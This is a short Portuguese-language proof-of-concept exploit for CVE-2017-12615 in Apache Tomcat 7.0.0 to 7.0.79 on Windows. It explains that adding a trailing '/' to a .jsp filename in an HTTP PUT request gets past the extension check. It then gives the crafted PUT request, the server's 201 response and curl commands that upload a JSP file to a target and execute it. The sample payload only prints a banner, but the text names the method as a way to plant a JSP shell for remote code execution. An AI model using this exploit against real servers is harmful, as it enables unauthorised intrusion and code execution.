
POC Exploit para a vulnerabilidade PUT JSP CVE-2017-12615 do Apache Tomcat 7.0.x.
POC Exploit para Apache Tomcat 7.0.0 a 7.0.79 em execução no Windows; vulnerabilidade CVE-2017-12615 PUT JSP.
Por design, não é permitido enviar arquivos JSP via método PUT nos servidores Apache Tomcat. Esta é provavelmente uma medida de segurança para impedir que um invasor envie um shell JSP e obtenha execução remota de código no servidor. No entanto, devido a verificações insuficientes, um invasor poderia obter execução remota de código em servidores Tomcat 7.0.{0 a 79} que tenham o PUT habilitado, enviando uma requisição do método PUT ao servidor Tomcat usando uma requisição HTTP especialmente criada. Mas sério, especial? Por favor.
Ao acrescentar um caractere '/' após a extensão do nome do arquivo, é possível contornar a verificação da extensão do arquivo. É só isso. Então, não é tão especial assim.
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp